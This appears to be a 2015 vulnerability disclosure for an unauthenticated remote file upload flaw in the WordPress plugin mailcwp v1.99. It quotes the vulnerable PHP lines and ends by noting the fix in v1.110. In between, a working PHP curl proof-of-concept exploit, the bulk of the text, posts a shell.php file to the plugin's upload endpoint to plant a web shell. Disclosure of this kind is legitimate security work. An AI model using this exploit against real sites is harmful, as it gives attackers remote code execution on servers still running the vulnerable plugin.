Wordpress Plugin mailcwp v1.99 Remote file upload

#- Title : Wordpress Plugin mailcwp v1.99 Remote file upload

#- Author : Larry W. Cashdollar, @_larry0

#- Vendor : vCadreWorks Pty Ltd

#- Download Site: wordpress.org/plugins/mailcwp/

#- Tested on : ubuntu

#- Date : 09/17/2015

Vulnerability :

2 $message_id = $_REQUEST["message_id"]; 

3 $upload_dir = $_REQUEST["upload_dir"];

. 

.

8 $fileName = $_FILES["file"]["name"];

9 move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName");

Proof of Concept : 

<?php

/*Larry W. Cashdollar @_larry0

Exploit for mailcwp v1.99 shell will be called 1-shell.php.

7/9/2015

*/

        $target_url = 'http://www.example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1&upload_dir=/usr/share/wordpress/wp-content/uploads';

        $file_name_with_full_path = '/var/www/shell.php';

 

        echo "POST to $target_url $file_name_with_full_path";

        $post = array('file' => 'shell.php','file'=>'@'.$file_name_with_full_path);

 

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL,$target_url);

        curl_setopt($ch, CURLOPT_POST,1);

        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);

        $result=curl_exec ($ch);

        curl_close ($ch);

        echo "<hr>";

        echo $result;

        echo "<hr>";

?>

*  Fixed in v1.110